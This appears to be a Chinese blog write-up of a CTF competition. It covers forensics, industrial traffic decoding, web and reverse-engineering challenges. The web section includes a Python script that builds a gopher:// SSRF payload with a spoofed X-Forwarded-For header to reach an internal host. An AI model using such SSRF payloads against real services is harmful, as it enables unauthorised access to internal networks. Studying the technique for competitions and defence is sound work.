第二届网刃杯网络安全大赛 Writeup

2 篇文章 1 订阅

前言

看了去年的这个比赛,感觉难度比较适中,于是尝试今年去参加一下。成绩也不是很好感觉打CTF还是需要一定的经验,节奏和时间没安排好,导致上午出了五个题后下午就再没出题,有点小遗憾。取证题也没出…还是得多看看套神博客。

MISC

玩坏的XP *

解压后发现是虚拟磁盘文件,使用DiskGenius挂载后分析。
查看桌面有五张图片。看meiren.png就感觉有点问题,提取出来进行查看。
在这里插入图片描述


在这里插入图片描述
使用formost分解图片,发现能分解出压缩包和图片,图片里有两张meiren图,压缩包解压出来之后是一张not flag的图片,继续分解no flag的图片。得到一个压缩包但是需要密码,但是我这里居然没有提醒,提醒的文件上写着:密码容易忘所以放在了某个挂着项链的软件上了
在这里插入图片描述


这里没有安装过QQ所以查看是否还有其他的软件符合他的要求。
在这里插入图片描述
这里找到了火狐浏览器的位置,看到了几个QQ的相关信息还以为是需要我们再里面找,实际上是要我们再places.sqlit中找相关的信息,导出该数据,使用软件来查看里面的数据库数据。
在这里插入图片描述
下一个即可,进行查看。
在这里插入图片描述
直接查看相关的QQ号,查看QQ空间。
在这里插入图片描述
密码MD5之后的样子,在线解密即可。
得到xiaomin520,然后解压压缩包即可拿到flag。
在这里插入图片描述

ISC

ncsubj

在这里插入图片描述
跟踪协议流
在这里插入图片描述
拿出来base64解码后,去掉|再来一次解密即可。

在这里插入图片描述

carefulguy

在这里插入图片描述
跟踪流:7d开始
在这里插入图片描述

66结束
在这里插入图片描述
提取出来hex解码,逆序即可。
在这里插入图片描述

easyiec

在这里插入图片描述
字符串搜索,即可。
在这里插入图片描述


xypo7

在这里插入图片描述
直接解压文件发现需要密码,查看文件末尾有附加数据,发现是base64的形式。
在这里插入图片描述

提取出来不断base64解码即可拿到密码。Xyp77&7&77,然后发现奇怪的数据,直接解码base91。
在这里插入图片描述

喜欢移动的黑客*

pcapng流量包头部损坏,把FF FF FF FF改成 0A 0D 0A 0D即可打开。哎这个题没出实着可惜,我还一直以为pcap和pcapng是一种数据结构,当时脑抽了没有看前面的文件格式,按照pcap的格式去改发现一直不对。改完之后直接所定数据data即可。
在这里插入图片描述
就几个数据包,一个一个看即可。
在这里插入图片描述
在这里插入图片描述
flag{1008668156}

LED_BOOM*

这个题也是找不到具有三个相同特征的流量包,没看到开灯的操作记录。花了挺多的时间。
mouchu师傅博客上写着过滤西门子协议后按照包的大小来找会更快一些,经验比较短缺一时想不到这样来找。
在这里插入图片描述
查看内容包:
在这里插入图片描述
于是这三个包加起来就是:585692787
密文给出的是:
在这里插入图片描述
AES解密:
在这里插入图片描述


需要安全感*

这个是三菱的一个文件 按照我做题前的感觉是下了软件之后直接在里面就就可以找到flag 但是比赛结束了软件还没下好。套神WP证明确实是这个思路。G…

cryptolalia*

在这里插入图片描述
给了一张工业的污水处理过程,简单查看了一下直接分解图片。
在这里插入图片描述
查看污泥脱水间数据详情.zip,官方hint:直接爆破即可,数字加大写字母爆破。
得到密码:G6H7
查看里面的流量包,发现有经过对称加密算法加密的字符串。
在这里插入图片描述
U2FsdGVkX19pczQKWsMcjgrJt8f09dSN
官方给出的提示:鱼 is very important,那么密钥就是fish了,一个一个尝试需要密码的加密即可拿到下一个压缩包的解压密码。
解密网站:对称加密网址
在这里插入图片描述


b0Le4n$
继续解压下一个压缩包,解压出来之后发现还有一个压缩包,发现还需要密码,使用十六进制查看器查看数据。
改为00即可。
在这里插入图片描述
然后查看西门子的协议,跟踪流后发现有图像数据想办法提取出来。
在这里插入图片描述


参考链接:套神博客
提取方式:tshark -r .\设备药剂间数据采集.pcap -T fields -e s7comm.resp.data -Y s7comm > pic.txt
在这里插入图片描述

# 已经去除了前后的数据
import binascii

hexdata = ""
with open("pic.txt","r") as file:
    hexdata = file.read().split()
hexdata = "".join(hexdata)
print(hexdata[0:16])

with open("png.png","wb") as file2:
    file2.write(binascii.unhexlify(hexdata))

把这个放到图片中即可。
在这里插入图片描述
使用010修改高度即可。
在这里插入图片描述

WEB

Sign_in

在这里插入图片描述
签到题都ssrf了,哎~。
ssrf结合gopher打内网,进行内网探测。
在这里插入图片描述

***在这里插入图片描述

import urllib.parse
url='http://124.222.24.150:8091/?url='
ctf=\
"""POST /?a HTTP/1.1
Host: 172.73.23.100:80
X-Forwarded-For:127.0.0.1
Referer:bolean.club
Content-Type:application/x-www-form-urlencoded
Content-Length:1
b
"""
tmp = urllib.parse.quote(ctf)
new = tmp.replace('%0A','%0D%0A')
res = '_'+new
res=urllib.parse.quote(res)
exp='gopher://172.73.23.100:80/'+res
print(exp)

在这里插入图片描述

RE

freestye

在这里插入图片描述

逆回去看一下两个函数,分别队输入的字符串使用atoc函数转化尾数字 然后与后面的值进行比对,简单的数据计算即可拿到结果。
在这里插入图片描述


在这里插入图片描述


手算第一个:3327 第二个:105 MD5后即可。

ez_algorithm

在这里插入图片描述
是个比较复杂的,但是是可以爆破的,每一位都和动调时的相同,这样就爆出了,算是个非预期吧。
rax中有:
在这里插入图片描述
在这里插入图片描述

Re_function

在这里插入图片描述
发现不能解压,但是给出了一张图片的数据估计密码就在上面。将数据写入一张图片即可。

import binascii

hexdata = ""
with open("png.txt","r") as file:
    hexdata = file.read().split()
hexdata = "".join(hexdata)
print(hexdata[0:16])

with open("png.png","wb") as file2:
    file2.write(binascii.unhexlify(hexdata))
#3CF8

有两个文件,一个是32为exe,另一个是64为的elf文件

exe文件直接看c伪代码没看懂感觉好乱看不懂,直接看汇编吧。
然后经过一整调试发现,是将我们输入的奇数位与0x37异或然后得到了一串字符。
在这里插入图片描述

然后看elf文件,魔改的base64算法,只换了字符串表然后解即可。
flag{we1come_t0_wrb}

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值